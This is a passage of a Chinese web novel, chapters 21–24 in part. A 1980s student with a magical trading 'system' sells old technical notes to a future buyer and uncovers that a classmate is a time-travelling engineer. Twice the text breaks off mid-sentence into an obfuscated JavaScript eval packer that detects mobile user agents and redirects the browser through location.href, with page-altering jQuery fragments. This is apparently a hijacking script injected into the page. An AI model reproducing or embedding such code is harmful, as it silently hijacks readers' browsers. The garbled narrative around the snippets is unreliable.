“大概能看懂一点。”安玥斟酌着措辞,“我家里也有些长辈留下的技术笔记,所以对这些有点概念。你那个动态自适应修正的设想,我觉得很有启发性。”这话她说得很小心。 陆恒盯着她看了足足五秒钟,才缓缓开口:“那只是随手画的草稿,不成体系。” “但方向是对的。”安玥说到一半停住了。 陆恒的眼神变得很奇怪——不是惊讶,也不是怀疑,而是一种……复杂的、难以形容的情绪。 “你也是机械系的?”他问。 “大一。” “大一就能看懂这些?”陆恒的声音很低,“你家里长辈……是做什么的?” “以前在工厂做技术工作。”安玥说,“留了些笔记。” 陆恒点点头,没再追问。上课铃响了。 “我先上课了。”他说,“谢谢你还我笔记本。” “不客气。” 看着陆恒走进教室,安玥长长吐出一口气。 刚才那番对话,她手心都出汗了。 回到宿舍,她拉上床帘,第一时间唤出系统面板,打开VIP频道。 Z在线。 【安玥:今天发现了一本旧历八十年代的笔记本。】 当然,隐去了具体人名和地点。 【Z:那应该是一本特别的笔记本了。】 安玥把那几个关键词打过去。 那边有等了好一阵子才回复。 【Z:你说这些这些概念出现在旧历八十年代?那非常超前。】 【Z:笔记本的主人,很可能接触过前沿的研究思路。】 安玥盯着这句话,手指在虚拟键盘上悬停。 【安玥:你觉得,这个人和林知远有关联吗?】 这次Z的回复很快: 【Z:可能性很大。笔迹相似度如何?】 【安玥:和之前那些批注很像,但又不完全一样。】 【Z:可能是一个人不同时期的笔迹,也可能是关联密切的人。】 关联密切的人?安玥皱起眉。学生?助手?同事? 她想起陆恒的样子——二十出头,大三学生,手指上有机油痕迹,住校外,独来独往。 太年轻了。不可能是林知远本人。 但如果是林知远的学生,或者受过他指导的人呢? 【安玥:我打算继续挖掘一下。】 【Z:谨慎些。如果真和林知远有关的话。】 安玥想起秦教授说过的“保密项目”“人员失踪”。 【安玥:明白。我会注意。】 关掉面板,安玥躺在床上。 22. 第 22 章 安玥盘腿坐在宿舍上铺,膝盖上摊着那本深蓝色笔记本的照片。 她早已把笔记本里那些算式、潦草的自言自语式批注、以及扉页上那个墨水印章全都拍了下来。 对铺的舍友正在看书。 【您有新的私聊消息】 系统面板在视野边缘亮起。 安玥不动声色地放下相机,意识点开。 Z:“在?” 安玥:“在整理今日勘探资料。有新发现。” 她打出这行字时,嘴角忍不住翘了翘。 勘探资料不过是从陆恒那儿撞来的笔记本,但这套说辞她和Z已经默契运行了很久,一个敢说,一个敢信。 Z几乎秒回:“关于林工线索的?” 安玥:“疑似。拍了几张照片,现在传你。” 她把刚拍的照片打包,通过系统传输过去。趁这功夫,她翻身下床,从床底下拖出那个装墨水瓶的纸箱,开始清点存货。明天又该去摆摊了。 “安玥,你这钢笔还有存货没?”下铺的王丽娟探头问,“我老乡想买两支,说比百货大楼的便宜还好用。” “有,明天我给你带。”安玥应着,手里没停。 “叮。” 传输完成。 Z那边安静了大概三分钟。 安玥能想象出他放大照片、仔细查看那些算式的样子。也许是在某个充满未来感的办公室里,窗外是穿梭的飞行器?她甩甩头,把这个过于科幻的画面赶出去。 安玥等得有点无聊,索性开始给明天要卖的钢笔贴标签。 Z的消息再次弹出时,内容却让安玥愣了一下。 Z:“照片第七张,笔记本旁边那个搪瓷缸子,是你勘探时用的?” 安玥回头看了眼自己桌上那个掉了几块瓷的旧缸子——刚才拍照时不小心入镜了。 安玥:“算是。装水用的,老古董了。” Z:“缸沿有个磕痕,形状像个月牙。” 安玥把缸子拿过来,对着光仔细看。还真有,这观察力也太细了。 安玥:“……您连这都注意到了?” Z:“闲着放大看了看。” 安玥盯着这句话,一时间不知道该怎么接话。 最后她干巴巴地回:“老物件都这样。” Z:“嗯。” 然后他转了话题:“你们勘探队……平时驻扎在哪个区域?如果方便说的话。” 安玥的眼睛眯了眯,说道:“队长有规定,位置信息保密。毕竟我们挖的都是旧历遗迹,怕引来不必要的麻烦。” 这是她早就准备好的说辞。 Z:“理解。” 他停了两秒,又发来一句:“只是有时候,听你描述那些街道、市场、学校操场的声音,会觉得挺真实。真实到有时候会想,如果哪天有机会,真想亲眼看看你勘探的地方。当然,只是想想。违反规定的事我不会做。” 安玥盯着这段话,咬着嘴唇回道:“队长说,干我们这行,和客户保持距离对双方都好。” Z:“他说得对。” 对话到这里本该结束。但安玥不知怎么,又补了一句: 安玥:“不过,谢谢。谢谢你对我们的事感兴趣。” 对话终于结束了。 安玥关掉系统面板,仰面倒在床上,脑子里却反复回放Z最后那几句话。 他想象中她的世界,是什么样子的?大概是一个满是废墟遗迹、需要穿防护服、用高科技设备扫描的末世景象吧。 但他绝对想不到,她此刻正躺在八十年代大学宿舍的铁架床上,听着室友的鼾声,盘算明天卖钢笔能挣几块钱。 安玥不由地笑出了声。 “安玥,你笑啥呢?”李红英在下铺问。 “没事,”安玥抬起脸,“就是想起个笑话。” “啥笑话?说来听听。” “嗯……就是有个人,特别想去一个地方,但他永远去不了。” “为啥?” “因为……他走错时代了。” 李红英一脸茫然:“这啥笑话?听不懂。” “睡吧睡吧,”安玥翻了个身,面对墙壁,“明天还得早起占座呢。” 她闭上眼睛,脑海里却浮现出Z那张她从未见过、只能靠想象拼凑的脸。 “完了,”她在黑暗中小声嘀咕,“我这骗得是不是有点太投入了?” 但下一秒,她又理直气壮地想:反正他永远发现不了。 * 未来时空里,某人关掉私聊界面,靠进悬浮办公椅。 他面前的透明光屏上,还定格着那张照片——掉漆的搪瓷缸,以及照片边缘不小心拍进去的一截格子床单。 他看了很久,最后伸出手指尖虚虚碰了碰那个缸沿的月牙形磕痕。 “真想看看啊。” * 第二天一早,安玥蹲在宿舍楼后的水龙头边上,面前摆着个搪瓷盆,盆里泡着十几支刚组装好的钢笔。 “安玥!”王丽娟从楼道口探出头,“系里通知,后天下午劳动课,去校办工厂仓库搬冬季取暖煤!” “知道了!”安玥应了一声,继续捞钢笔。 正想着,视野边缘系统面板亮了。 Z:“笔友111,你在吗?” 安玥擦擦手回复:“在。处理后勤物资,清洗工具。” 她看了眼盆里泡着的钢笔,觉得这说法也没毛病。 Z:“上次说的那个笔记本,有后续吗?” 安玥:“暂时没有。” Z那边安静了一会儿。 安玥以为他下线了,正要继续洗钢笔,新消息跳出来:“我比较好奇,你们平时勘探的话,怎么取暖?” 安玥一愣。这问题跨度有点大。 她随口编道:“有小型便携加热单元。不过有时候队员嫌麻烦,就直接搓手跺脚。” Z:“效率低。” 安玥:“没办法,条件有限。” 她发完这句,忽然觉得对话走向有点怪。Z今天怎么尽问些生活细节? 正疑惑着,Z发来一条更奇怪的:“你们勘探队,接收小型物资补给吗?就是日常用品。” 安玥盯着这行字,脑子里警铃微响。 安玥:“理论上接收,但需要通过队长审核。为什么问这个?” Z:“我这边有集团研发的户外作业版保温杯,恒温效果不错,闲置了几个。如果你需要,可以给你寄一些。” 安玥差点被自己的口水呛到。 保温杯?从未来寄过来? 她脑子里瞬间闪过一连串画面:一个充满科技感的金属杯子突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128472|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在八十年代的宿舍里,李红英拿起来研究半天,最后得出结论“这肯定是外国货”;王丽娟试着拧开,结果触发了什么激光加热功能;张秀兰直接抱着去水房打热水,被全校围观…… 不行。绝对不行。 安玥手指飞快:“感谢好意,但队长规定,所有物资必须统一采购,防止技术特征泄露。旧历时代的人如果捡到未来物品,会引起不必要的麻烦。” 她发出去后,觉得自己这个理由编得简直天衣无缝。 Z:“有道理。是我考虑不周。” 安玥刚松口气,Z又补了一句:“那这样吧。我告诉你保温杯的大致结构原理,你们后勤人员可以试着仿制。至少保证队员有热水喝。” 安玥看着这条消息,忽然有点哭笑不得。 这位未来人是在教她怎么做保温杯? 安玥:“……您还会这个?” Z:“都是些基础材料工程。” 安玥想了想,忽然起了玩心。 安玥:“如果真要做,外壳用什么材料好?我们手头有些废铝片。” Z:“那也太原始了吧?如果有X06薄板最好,没有的话,B30也行。” 安玥差点笑出声。 安玥:“我记下了。回头让后勤师傅试试。” Z:“做好了告诉我效果。” 安玥:“一定。” 对话到这里本该停了。但安玥鬼使神差地多问了一句:“您今天好像……挺关心我们后勤的?” 消息发出去她就后悔了。这不等于提醒对方“你今天话多”吗? 好在Z回得很自然:“刚开完一个预算会议,看听他们汇报听得头疼,和你聊这些东西感觉像换了个脑子。” 安玥能想象那个画面:一群穿得像科幻片里走出来的人,围坐在光屏前争论着,而Z坐在主位,却在开着小差和她聊天。 她忽然觉得,这位未来人好像也有点可怜…… 安玥甩甩头,把这荒谬的念头甩出去。可怜什么,人家随便转个账就是几十万纪元币,她还在为几毛钱精打细算。 “安玥!洗好没?要锁门了哦”舍友的声音从远处传来。 “马上!”安玥赶紧把最后几支钢笔捞出来,端着盆往回跑。 晚上,宿舍熄了灯。安玥躺在被窝里,意识调出系统商城,搜索“保温杯”。 还真有。 【复古款不锈钢保温杯(符合20世纪末工艺标准)】 价格:80纪元币 她犹豫了三秒,买了。 80纪元币,对现在的她来说不算什么。 然后她点开和Z的私聊,发了条消息: 安玥:“后勤师傅听了您的建议,试着做了个保温杯。你看看效果。” 她附了张系统商品图,稍微调暗了点光线,让它看起来像是她自己拍的。 Z几乎是秒回:“这么快?” 安玥:“师傅手巧。” 安终于没忍住,把脸埋进枕头闷笑。 李红英在下铺问:“又笑啥呢?” “没事……”安玥肩膀抖着,“就是想起……有个特别远方的朋友,在教我怎么用保温杯。” “远方朋友?男的女的?”王丽娟的八卦雷达响了。 “就……朋友。”安玥含糊过去。 23. 第 23 章 “没、没事……”安玥努力把笑意压下去,“就是……咳,他一本正经地教人的样子特别认真,像在搞科研。” “就这?”李红英翻了个白眼,躺回去了,“你这笑点可真够低的。” 安玥也不解释,侧过身,再次调出系统面板。Z的回复还停留在那句“这么快?”,后面跟了个系统自带的【思考中】表情。 她没再回复,只是关了面板。 接下来的几天,安玥的生活按部就班。上课、摆摊、整理校办工厂的旧档案、偶尔在系统里和Z聊几句无关痛痒的勘探日常。 安玥的生意越做越红火。她的小摊在学生里有了口碑,甚至有几个家境困难的同学偷偷找她,想批发点文具去别的学校卖。安玥没答应,只说不方便,但私下多给了他们一些折扣。 这天下午,安玥照例去校办工厂仓库。主任见了她,神神秘秘地招手:“小安,来,给你看个好东西。” 安玥跟着主任走到仓库最里角,那里堆着几个新搬来的木箱,上面印着褪色的“技术资料”字样,还盖着“封存”的红章。 “机械厂那边合并,清出来的一批老档案。”主任压低声音,“据说有六七十年代的东西,我看着像是些图纸和实验记录。我记得你喜欢这些,要不要?” 安玥心跳快了一拍:“要!谢谢主任!” “行,那你慢慢整理。有用的挑走,没用的……老规矩。”主任拍了拍她的肩膀,走了。 安玥一个人留在仓库。她走到那几个木箱前,打开最上面的一个。 里面确实是成捆的图纸,还有硬壳笔记本,时间从六十年代跨越到七十年代末。她随手拿起一本翻开,里面是密密麻麻的手写数据。 她启动系统扫描。 大部分资料价值平平,属于“技术史料价值中等”的范畴。直到她翻到箱子最底层的一个牛皮纸文件袋。 文件袋很旧,袋面上有一行小字:“林工提,未采纳”。 安玥小心地解开麻绳,绳子已经朽了,一碰就断。从袋子里抽出几页泛黄的图纸和一份手写的说明。 手写说明只有一页,字迹她认识——和之前那本深蓝色笔记本,以及陆恒那本实验记录上的批注,是同一种笔迹。 安玥注意到说明末尾,有人用红笔批了两个字:“存疑。”笔迹和“林工”的笔锋完全不同。 她拿着这几页纸,靠在木箱上。 林知远。这个人贯穿了诸多线索。秦教授在找他,Z在找他,现在连校办工厂的故纸堆里,都能翻出他留下的痕迹。 安玥把文件袋小心收好,准备带回去再仔细研究。她继续翻找剩下的箱子,但再没找到更多与林知远相关的资料。 傍晚,她抱着挑出来的一摞可能有价值的图纸和几本旧笔记走出仓库。 走到宿舍楼下时,她看见陆恒站在楼门口,手里拎着个军绿色挎包,正低头看着地面。听见脚步声,他抬起头。 “安玥同学。”他打了声招呼。 “陆恒同学?”安玥有些意外,“找我有事?” 陆恒的目光落在她怀里那摞旧资料上,停了几秒,才移开:“关于上次那本笔记本……有些问题想请教你。” 安玥心里紧了一下,面上却不动声色:“什么问题?你说。” “找个地方坐坐?”陆恒提议,“食堂后面有小树林,比较安静。” 这个提议让安玥警惕起来。八十年代的大学,男女同学单独去小树林“坐坐”,传出去可不是什么好事。 “就在这儿说吧。”她没动,“马上要吃饭了。” 陆恒似乎也不在意地点,他往前走了两步,压低声音:“你上次说,你家长辈也留过类似的笔记?” “嗯。”安玥含糊应道,“怎么了?” “笔记里,有没有提到过一种……”陆恒问得很直接,眼睛紧盯着她,又像是在观察她的反应,“一种能让机器自己思考、根据结果不断调整自身工作方式的设计思路?” 他见安玥眼神微动,又补充了一句:“或者,有没有关于如何处理一个整体里,各个部分互相制衡,让它们能各自独立顺畅运转的设想?” 安玥愣了两秒。 这些概念不存在这个年代。 她想起系统对那本深蓝色笔记本的鉴定:“存在轻微时空残留效应”。 “我不太懂这些。”安玥垂下眼,做出努力回忆的样子,“我家长辈的笔记里,好像提到过‘自动调整’什么的,但没你说的这么复杂。” 陆恒沉默地看着她,眼睛里有什么东西飞快地闪过。 “自动调整……”他重复这个词,语气有些微妙,“也对,那个年代可能用这种说法。” 他顿了顿,忽然换了个话题:“你最近是不是在帮校办工厂整理旧档案?” 安玥点头:“嗯,勤工俭学。” “有没有看到……比较特别的东西?”陆恒问,“比如,设计思路很超前,或者用了不常见计算方法的图纸?” 安玥抱紧了怀里的资料。那个写着“林工提”的文件袋就在最上面。 “我看过的都是些普通技术资料。”她避重就轻,“你说的超前,是指什么?” 陆恒没有立刻回答。他抬头看了看天色。 “算了。”他最终说,“如果你以后看到什么有意思的东西,可以告诉我。我对这些老技术有点兴趣。” “好。”安玥应下。 陆恒点点头,转身走了。 安玥抱着资料快步上楼。 回到宿舍,她反手锁上门,把资料往桌上一放,拉过椅子坐下,心脏还在怦怦直跳。 “怎么了?”王丽娟从书里抬起头,“脸这么白?” “没事,跑急了。”安玥敷衍道,抓起桌上的搪瓷缸子灌了几口凉白开。 凉水下肚,她稍微冷静了些。但脑子里那个猜想却越来越清晰。 安玥猛地站起来,在宿舍里踱了两步。 如果“林工”是秦教授寻找的那位失踪的技术员,到现在至少该四十多岁。陆恒的外表,怎么看都只有二十出头。 那么,有没有可能,这个陆恒是与林知远关系极深的人?学生?子侄?他继承了林知远的学识、笔记,甚至思维方式? 但这个解释,仍然无法完全覆盖所有的疑点:那些过于超前的思维框架,那份与旧图纸上如出一辙的笔迹,还有系统提示的“时空残留效应”……一个继承者能继承到这种程度吗? 除非…… 一个更违背常理的念头,进入她的脑海。 除非,时间在林知远身上出了错,他穿越了。他带着过去的记忆和智慧,被困在了一个更年轻的躯体里,成了一个名为“陆恒”的学生。 这个想法太像科幻小说的情节了。可反过来想,这却是唯一能将所有矛盾线索串联起来的答案。 她想起自己穿越的经历。如果她可以,为什么别人不行? 另一个问题紧接而来。 Z为什么对林知远的资料如此执着?不惜重金,反复追问?因为Z就是林知远?或者Z知道林知远穿越了? 安玥爬到床上,拉上床帘,唤出系统面板,点开与Z的私聊。 安玥:“在吗?有个问题想请教。” Z几乎秒回:“说。” 安玥斟酌着措辞:“如果,我是说如果,你们那个时代,有人掌握了某种时间旅行的技术,但只能单向、不可逆地前往过去。这个人到了过去之后,会以什么身份生活?他需要隐藏自己吗?” Z秒回:“为什么问这个?” 安玥:“就突然想到这个。” Z回复:“理论上,如果有这样的技术,使用者必须彻底隐藏自己的来历。过去的时空无法承受来自未来的信息冲击,暴露可能导致严重的因果紊乱。” 安玥:“那如果这个人想找到自己以前留下的东西呢?” Z回复得很慢:“非常危险。任何与过去自我的直接接触,都可能引发不可预测的连锁反应。最安全的做法是通过中间人。” 中间人…… 她就是那个中间人。 她继续打字:“如果你要找的那个人,真的用了这种技术去了过去,你会怎么找他?” 这次Z的回复快了些:“我不会直接找’。我会找他可能留下的痕迹,然后把这些痕迹回收。” 安玥反应过来,所以Z购买那些图纸、笔记,不是为了收藏或研究,是为了回收,防止它们引发“因果紊乱”? 那她呢?在这个计划里是什么位置? 安玥继续套话:“听起来像在做时空清洁工。” Z:“可以这么说。我们的职责是确保时间线的稳定,清除不该存在的。” 安玥:“那如果那个去了过去的人引发了反应呢?” 这次,Z的回复间隔更长:“那说明他正在犯一个致命的错误。过去的时空排斥异物,越界的干预只会加速排斥反应。严重的话,他可能会被抹除。” 安玥想起自己刚穿来时,那七十二小时的生存倒计时,以及接二连三的意外。世界的排异反应。 如果陆恒真的是穿越回来的林知远,如果他也在被这个世界排斥…… 她关掉了对话框,没有再回复。 夜色已深,宿舍里熄了灯。安玥躺在黑暗里,睁着眼睛。 第二天一早,安玥顶着两个黑眼圈起床。她没去上课,跟李红英说了声帮忙请假,就出了宿舍。 上午九点,她来到机械系大三的教室外。从后门玻璃往里看,陆恒坐在最后一排靠窗的位置,面前摊着本书,手指在桌上划着什么。 安玥等了一会儿,直到课间休息,学生们三三两两出来透气。她看到陆恒也站起身,走出了教室。 她跟了上去。 陆恒沿着走廊慢慢走着,最后在楼梯间的窗前停下,看着外面的操场。 安玥躲在拐角,观察着他。 从这个角度,她能看清陆恒的侧脸。很年轻,眉眼间却有种与年龄不符的沉静。 他站在那儿,一动不动,像一尊凝固的雕像。 她走了过去。 “陆恒同学。” 陆恒转过头,看见是她,眼中掠过讶异。 “安玥同学?有事?” “我昨天回去,又翻了翻我家长辈的笔记。找到一些东西,可能跟你想问的有关。” 陆恒的眼神锐利起来:“是什么?” “这里说话不方便。”安玥看了看周围,“下午两点,图书馆三楼古籍阅览室,最里面那排桌子。那里平时没人。” 陆恒盯着她,似乎在判断她的意图。几秒后,他点头:“好。” 下午一点五十,安玥提前到了古籍阅览室。 这里果然冷清。最里面那排桌子隐在书架阴影里,是个说话的好地方。 安玥找了个位置坐下,从书包里拿出那个牛皮纸文件袋,放在桌上。然后,她拿出那本从校办工厂找到的旧笔记,摊开在文件袋旁边。 两点整,陆恒准时出现。 他走到桌对面坐下,目光第一时间落在桌上的文件袋和笔记上。 “这就是你说的东西?”他问,声音压得很低。 “嗯。”安玥把文件袋推过去,“你看看。” 陆恒拿起文件袋,抽出里面的图纸和说明,目光一行行扫过那些字迹。 安玥紧紧盯着他的脸。 陆恒的表情很平静,但安玥注意到,他在读到某一行时,神色微变。 “这些……”陆恒抬起头,“你从哪儿找到的?” “校办工厂的老档案里。”安玥说,“这个‘林工’,是你认识的人吗?” 陆恒没有立刻回答。他把图纸轻轻放回桌上。 “算是吧。”他终于说,声音很轻,“一个……很久以前的前辈。” “前辈?”安玥追问,“他是不是对科学技术特别有研究?” 陆恒猛地抬眼,“你怎么知道?” “猜的。”安玥迎着他的目光,“因为你的问题,还有这些图纸里的思路,都指向同一个方向。而且……” 她顿了顿,身体微微前倾,压低声音:“这些思路,太超前了。超前得不像这个时代的人能想出来的。” 陆恒看着她,那双黑色的眼睛深不见底。半晌,他忽然极轻地笑了一下,那笑容满是疲惫和自嘲。 “你说得对。”他说,“是不像。” 安玥的心跳得有些快。 “陆恒同学,”她深吸一口气,“或者我该叫你……林工?林知远?” 陆恒,或者说林知远,他没有否认。只是靠在椅背上,仰头看着高高的天花板。 “很久没人这么叫过我了。”他的声音很轻,带着一种恍惚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131164|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尽管早有猜测,但亲耳听到他承认,安玥还是感到很震惊,她继续问:“你怎么回来的?什么时候?” 林知远收回目光,重新看向她,眼神复杂:“这要从头说起。我原本就是这个时代的人,八十年代初,我在一次实验事故中消失了。” 他停顿了一下,似乎在回忆往事。 “那是一次关于时空理论的测试。我被抛出了正常时间流。我以为我死了,但醒来时,发现自己在一个完全陌生的时代——一个科技高度发达,但对我来说如同梦境般的未来。” 安玥屏住呼吸:“未来?多远?” “大约……几百年后。”林知远说,“我在那个时代挣扎求存,最终进入了一个大型科技集团的研究部门。我在那里化名,从底层做起,慢慢爬到了核心研究岗位。他们不知道我的来历,只以为我是个天才。” 他苦笑了一下:“我在那个时代生活了将近二十年。我学会了他们的技术,甚至帮助他们突破了几个时空理论的难题。但我知道,我想回来。我一直在秘密研究如何逆转向我当初的穿越。” “所以,你成功了?”安玥问。 “不算完全成功。”林知远摇头,“我制造了一次人为的时空紊乱,试图定位到我离开的坐标。但我低估了时空的自我保护机制。我没有回到事故发生的那一刻,而是被抛到了事故之后的两三年。并且,我发现自己进入了一个刚刚死去的年轻人的身体,也就是陆恒。” 他抬起手,看着自己这双年轻的手,语气里带着一丝嘲讽:“我回来了,但代价是失去了原来的身体。更糟糕的是,我回来后发现,我当年留下的许多研究资料都散失了。” “那本笔记……”安玥想起系统里那本价值百万的笔记本,“是你穿越到未来之后写的,还是穿越之前?” “大部分是在未来写的。”林知远说,“我凭借记忆复现了事故前的部分研究,但更多的,是我在未来二十年里,结合未来科技对时空理论的新理解。那些资料如果被这个时代的人拿到,可能会引发不可预测的后果;如果被未来的人拿到……他们可能会发现我的秘密,甚至可能追踪到我。” 安玥明白了。所以,Z在寻找的,是林知远在未来写下的资料。而林知远回到过去后,也在寻找这些资料。 “你找到了吗?”安玥问。 林知远摇头:“没有。我只找到一些零散的草稿和实验记录。”他看向安玥,“你上次捡到的那本是最重要的。剩下的部分也可能在事故中损毁了。”他揉了揉眉心,“我回来的时间点,比我失踪晚了两年。这两年发生了什么,我完全不知道。” 安玥消化着这些信息。她看着眼前这个顶着年轻人皮囊、灵魂却已历经沧桑的男人,问道:“你在未来认识一个网名叫‘Z’的人吗?” 安玥怕林知远不知道这个网名,又补充了一句:“你听说过‘新纪元联邦交易系统’吗?很里面有个很有钱的主,应该是个大型集团的人?” 林知远的手顿住了。他看向安玥,眼神出现了惊愕和警惕。 “你怎么知道‘Z’?”他的声音紧绷起来。 安玥身体向后靠了靠,拉开一点距离,然后看着林知远,“因为‘Z’是我的客户。他通过一个特殊的交易系统,向我购买旧历年代的技术资料。尤其是,与‘林知远’相关的资料。” 她顿了顿,补充道:“出价很高。” 林知远的脸色变了,“你是什么人?” “一个意外来到这个时代的倒霉鬼。”安玥苦笑了一下,“跟你差不多。只不过,我的系统给了我一个活下去的方法,就是把这个世界的东西,卖给未来的人,换点续命钱。” 她说的很简略,但足够林知远理解。 两人对视着,都在对方眼中看到了同病相怜。 林知远看着安玥,“所以,你给Z卖过我的东西?” “一部分是。”安玥承认。 林知远叹了口气,“你知道Z是谁吗?” 安玥摇头:“不知道。他只说自己是集团实验室的,对林知远的技术思路很感兴趣。” “集团实验室……”林知远冷笑一声,“是啊,他当然感兴趣。因为那本来就是他的项目。” 安玥眼睛都瞪圆了。 真相终于拼凑完整。 Z在未来继续着研究,却遇到了瓶颈,需要林知远超前的思路来突破。所以他通过在寻找林知远留下的痕迹。 “你现在打算怎么办?”安玥问,“继续找那本笔记?然后……回去?” 林知远沉默了很久。 “我不知道。”他的声音里透着疲惫,“就算找到笔记,理论是否可行,设备如何构建,能量从哪里来……都是问题。而且……” 他看向安玥:“你说你也有系统,也需要续命。这个世界的排斥,你也感觉到了,对吧?” 安玥点头。 “那就更复杂了。”林知远说,“两个异物同时存在,排斥反应可能会叠加。更何况,如果我们试图进行大规模的能量操作,这个世界可能会用最激烈的方式清除我们。” “那怎么办?”她安玥后背发凉,“就这么一直躲着?靠系统买防护?” “暂时只能这样。”林知远说,“我需要时间来找到一条相对安全的路。” 他看向安玥:“你稳住Z,从他那里获取资源。但不能让他知道我的存在,也不能让他拿到真正核心的东西。” “我凭什么相信你?”安玥直视着他的眼睛,“你又凭什么相信我?” 林知远与她对视,“因为我们都没有别的选择。”他说,“你需要在排斥中活下去。我们掌握着彼此的秘密,也握着彼此的把柄。合作是唯一理性的选择。” “好吧。”安玥最终点头,“合作。但我们要信息共享、资源互助。” “成交。”林知远伸出手。 “那么,合作愉快,林工。”她说。 “合作愉快,”林知远似乎觉得这个称呼有点怪异,最终说,“安玥同学。” 两人迅速收拾好东西。临走前,林知远递给安玥一张纸条,上面写着一个地址:学校后门往东第二条巷子,七号院。 “我租的地方。”他说,“平时下午四点后我都在。” 安玥接过纸条,点头。 两人一前一后走出图书馆,在门口分开,融入了暮色中的人群。 24. 第 24 章 与林知远在图书馆达成合作后,安玥过了几天平静的日子。 她照常上课、摆摊,晚上在宿舍里用系统交易。账户里的纪元币不断增长,现实中的小生意也渐渐有了口碑。 周三那天安玥的摊位生意特别好,带来的五十支钢笔和三十本笔记本不到一小时就卖光了。她正美滋滋地数着收入,两个穿着制服的男人走了过来。 “同学,你这摊位有营业执照吗?”年长些的男人开口,语气还算和气。 安玥赶紧拿出系里开的证明和街道办的临时执照:“有的有的,老师,我是勤工俭学的学生。” 男人接过证明看了看,又打量了一下她的摊位:“证明是没错。但你卖的这些东西……钢笔、墨水、笔记本,这已经超出范围了吧?你这明显是在经营。” “我……”安玥想解释。 “而且你这销售量不小啊。”年轻些的男人插话,指了指她手里还没收起来的钱,“一天能卖这么多,这哪是勤工俭学,这都快赶上个体户了。” 年长的男人摆摆手,语气缓和了些:“同学,我们也不是要为难你。国家现在鼓励个体经济,但也要规范管理。你这种情况,要么去正式办个个体营业执照,合法纳税;要么就真的只能处理废旧文具,不能这样大规模售卖。” 他顿了顿,压低声音:“最近上面在抓典型,你这摊位太显眼,已经有人反映到我们这儿了。今天给你个口头警告,明天开始,要么缩小规模,要么去办经营证。不然下次来,就得罚款、没收货物了。” 安玥的心沉了下去。 两个管理人员又嘱咐了几句,走了。 安玥默默收拾摊位,感到一种深深的无力感。 当晚,她在系统里和Z例行交流时,忍不住试探地问了一句:“如果一个勘探队想在某个时代长期驻扎,开展一些收集和研究工作,最好以什么形式存在?” Z的回复很快:“根据旧历年代的社会结构,建议以集体或单位的名义开展活动。个人身份容易受到限制和审查。如果有条件,最好建立一个名义上的生产或研究的名头,哪怕规模很小。这样既能获得合法性,也能为物资流动和人员聚集提供掩护。” 生产或研究实体…… 安玥盯着这行字有了头绪。 第二天下午她去校办工厂仓库,准备再整理一批旧图纸。刚走到仓库门口,就听见里面传来主任愤怒的声音:“……这怎么行?这是我们学校的财产!怎么能说搬走就搬走?” 另一个声音很陌生,带着点官僚腔调:“王主任,这是上面的统一安排。这些废旧档案堆了多少年了?既占地方又有安全隐患。现在全市开展清理整顿,该处理的就得处理。” 安玥悄悄从门缝往里看。 仓库里除了主任,还站着两个陌生男人,看样子是文化局的人。他们正指挥着几个工人,把那些堆放旧图纸和资料的木箱往外搬。 “可这里有些资料还有价值……”主任试图争取。 “价值?”陌生男人嗤笑一声,“一堆废纸,有什么价值?王主任,别给自己找麻烦。今天必须清空,这是命令。” 安玥眼睁睁看着那些箱子被搬上卡车,扬长而去。 仓库一下子空了大半。主看见安玥进来,苦笑着摆摆手:“小安,以后……这儿没活儿了。上头说这些东西影响校容校貌,全部统一处理。” 晚上安玥失眠了。脑子里反复回放着这几天的事:摊位的警告、仓库的清空、世界若有若无的恶意、Z的提醒…… 小打小闹的摆摊,随时可能被取缔。依赖校办工厂的旧档案,渠道说断就断。 她需要合法身份,需要稳定渠道,需要能自己掌控的空间和资源。 一个念头越来越清晰:她得创业。不 但这个时代,个人创业谈何容易? 她想到了林知远。 第二天下午,安玥去了林知远租住的小院。 那是学校后门一条偏僻小巷里的独门小院,院子里堆着些废旧零件和工具,屋里更是让安玥大开眼界——简陋的书桌上摆满了手绘的图纸、拆开的废旧收音机、各种叫不出名字的电子元件,甚至还有一台用废旧零件拼凑出来的、正在发出微弱蜂鸣声的仪器。 林知远正在调试那台仪器,看见她来,只是点了点头,注意力很快又回到仪器上。 “这是什么?”安玥好奇地问。 “一个简易电磁环境监测仪。”林知远头也不抬,“我在尝试捕捉一些异常的波动。” 安玥心里一动:“和Z的技术突破有关?” 林知远的手顿了一下,终于抬起头看她,“你也知道了?” 安玥把系统公告的内容简单说了。 林知远指着仪器屏幕上一些波形:“从三天前开始,我监测到了一些时空涟漪。非常微弱,如果不是专门监测,几乎无法察觉。但它的出现,和Z的技术突破时间点吻合。” 他走到窗边,看着外面灰蒙蒙的天空:“这不是巧合。Z的时序重建技术,哪怕只是初步应用,也会对时空结构产生扰动。而我们这里……” 他转过身,看着安玥:“我们两个异物的存在,本身就是时空结构上的两个凸起。当大范围的涟漪扩散过来,撞上我们这两个凸起,会发生什么?” 安玥的呼吸一滞:“会……暴露?” “至少会增加被探测到的风险。”林知远走到书桌前,拿起一张画满公式的草稿纸,“更糟糕的是,这种扰动可能会与我们自身的存在产生共振,加剧世界对我们的排异反应。我最近遭遇的意外频率增加了,你也感觉到了吧?” 安玥想起自己这几天频繁遭遇的小意外,手心开始冒汗。 “所以你才需要这个?”她指着那台简陋的仪器。 